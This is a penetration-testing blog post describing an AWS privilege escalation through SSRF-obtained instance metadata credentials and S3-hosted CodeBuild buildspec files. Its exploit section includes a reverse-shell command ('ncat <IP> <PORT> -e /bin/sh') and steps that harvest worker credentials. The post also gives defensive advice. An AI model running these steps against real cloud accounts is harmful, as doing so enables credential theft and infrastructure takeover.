AWS CodeBuild + S3 == Privilege Escalation

Introduction

In the last decade one of the most common patterns observed in web applications is their shift to cloud environments. This means that in 2023 you can’t evaluate the security of a web application without going through a review of its cloud infrastructure as you might miss the elephant in the room. That’s why we - as in Shielder - always try to learn new techniques to assess the security of cloud environments. This post is about a privilege escalation vector which we have discovered during a recent assessment and which was not documented.

TL;DR

If you have the codebuild:StartBuild and the s3:PutObject privileges along with a CodeBuild project which reads its configuration from an S3 bucket you have access to, then you can run arbitrary code in the context of the CodeBuild worker. Just want to know how to escalate your privileges? Jump to the exploit!

Getting the AWS Keys

As every most of the cloud-related attacks, everything starts with a Server-Side Request Forgery (SSRF). This happens because most of cloud providers implement a metadata endpoint which could be reached by all the cloud-based resources to query some information about themself, the project they are part of, and sometimes about their authentication keys. A curated list of cloud metadata endpoints for various providers could be found here: https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b.

Our specific scenario was a web application running on an AWS EC2 instance where we did find a full-read SSRF. The first thing you want to understand when it comes to AWS and SSRF is the version of the Instance Metadata Service (IMDS) in use. This is a very important step because based on its version you would need different requirements to interact with it:

  • IMDSv1: no specific requirements are in place, by sending GET requests to the endpoints you can retrieve all the available information.
  • IMDSv2: you should be able to send PUT requests with arbitrary headers to negotiate a token, then attach that token to all the GET requests to the various endpoints to retrieve all the available information.

The difference is quite significant as for IMDSv1 a regular SSRF is enough, while for IMDSv2 you usually need a very powerful SSRF or you must find a Remote Code Execution (RCE). Hopefully for us our target was using the version 1, therefore the following requests were enough to get the AWS keys for the role assigned to the EC2 instance:

  1. List the security credentials: http://169.254.169.254/latest/meta-data/iam/security-credentials/
  2. Obtain the Key ID, Key Secret, and Session Token for the listed security credentials: http://169.254.169.254/latest/meta-data/iam/security-credentials/{name_of_the_role}

Listing the Privileges

Once the AWS Keys have been obtained the first thing you want to do is to understand which privileges are bound to them. To do that you usually have two ways based on the privileges:

  1. If you have access to IAM, then you can simply list the privileges for the various roles.
  2. If you don’t have access to IAM, then you can brute force the privileges by simply trying all the AWS commands and check which are allowed and which are not. This can be done by using some off-the-shelf tools like enumerate-iam and cloud-service-enum.

Our role had some very interesting privileges, among the others:

  • s3:* - which granted us the ability to list the buckets and edit their files.
  • codebuild:ListProjects - which granted us the ability to list the CodeBuild projects.
  • codebuild:StartBuild - which granted us the ability to start the build of a CodeBuild project.

Common CodeBuild Privilege Escalations

AWS CodeBuild is a fully managed continuous integration service that compiles source code, runs tests, and produces ready-to-deploy software packages.

Our EC2 instance had access to it as the web application running on it was part of a big infrastructure where:

  • Various websites were built using Drupal.
  • Each website was developed by a different agency.
  • All the websites were sharing the same Drupal multi-site installation.
  • The EC2 instance was able to trigger a build of the project when a new website was deployed and/or updated.

Having access to CodeBuild is a common vector for privilege escalations as usually in CodeBuild you assign a role to the worker and then you run arbitary code in the worker. The combination of these two elements grants you the ability to assign a role with a higher level of privileges to the worker and then get its AWS keys when the worker runs your code. Unfortunately, for this to work you need the following privileges:

  • iam:PassRole - which allows you to assign the role to the worker.
  • codebuild:CreateProject or codebuild:UpdateProject - which allows you to create or update a new CodeBuild project.
  • codebuild:StartBuild or codebuild:StartBuildBatch - which allows you to start the CodeBuild build process.

This technique is very well documented on HackTricks, an awesome list of hacking techniques divided by topic with clear reproduction steps.

Murphy’s law strikes again, our scenario was a little bit different as we did not have the iam:PassRole privilege and we could not update CodeBuild projects.

Time for a New Technique 🧑‍🍳

First of all we analyzed the available CodeBuild projects and we discovered that most of them had an assigned role which was likely to be more privileged than ours. Moreover, we discovered that CodeBuild grants the ability to store the buildspec configuration file on an S3 bucket. This file is used to rule the build workflow and contains, among the others, the commands to run.

As you might remember we had read/write access to the S3 buckets and we were able to start the build of CodeBuild projects. Does this sound as a privilege escalation vector? Yes - it does!

The plan was to:

  1. Select a CodeBuild project which was reading its buildspec file from an S3 bucket we had write access to.
  2. Edit the buildspec file by injecting the commands to start a reverse shell.
  3. Start the build of the selected CodeBuild project.

Exploit

  1. List all the builds from CodeBuild.
  2. Find a CodeBuild project which stores the buildspec configuration file on an S3 bucket you have access to.
  3. Edit the “phases > pre_builds > commands” section and add the following commands:
    • apt-get install nmap -y
    • ncat <IP> <PORT> -e /bin/sh
  4. Start a new build process for the CodeBuild project.
  5. Notice that a reverse shell is invoked.
  6. Obtain the AWS Keys from the reverse shell:
    • Option A: Query the AWS metadata endpoint (http://169.254.169.254/latest/meta-data/iam/security-credentials/)
    • Option B: Run the env command to obtain the credentials endpoint (http://169.254.170.2/v2/credentials/<UUID>)
  7. Abuse the new AWS Keypair which might have a higher level of privileges.

Conclusion & Pitch 🗣

Thanks to this exploit we have been able to escalate our privileges to the ones of the CodeBuild project which turned out to be misconfigured and had the iam:* permission, which basically means it was just a matter of some very basic commands to take over the whole AWS infrastructure.

Hopefully, they chose to act preventively and hired us to unveil their misconfiguration and vulnerabilities before publicly deploying their infrastructure. What about you? Are you using a complex cloud architecture, do you want to learn which are the impacts of the potential vulnerabilities in your cloud hosted web app? Get in touch with us and give a try to our team, they’re ready to unravel the ☁️☁️!

Take Aways 🥡

Defenders 🛡️:

  • Make sure to follow the Least Privilege principle in could environments too.
  • Review your cloud configurations, roles, profile, and privileges assigned to the various resources.
  • Enable IMDSv2 to raise your security posture and limit the impact of Server-Side Request Forgery vulnerabilities.
  • Don’t limit your Penetration Test to the web applications but focus also on the underlying infrastructure.

Attackers ⚔️: never surrender if the common cheatsheets are not covering your specific scenario - get creative 😉

P.S.: We have done a pull request to HackTricks to implement this technique in their cheatsheet 📄

5 min

Date

10 July 2023

Author

paupu

I’m paupu, Security Researcher and Penetration Tester at Shielder. Once I told a bad joke to a server, it crashed - that’s how I find vulnerabilities now.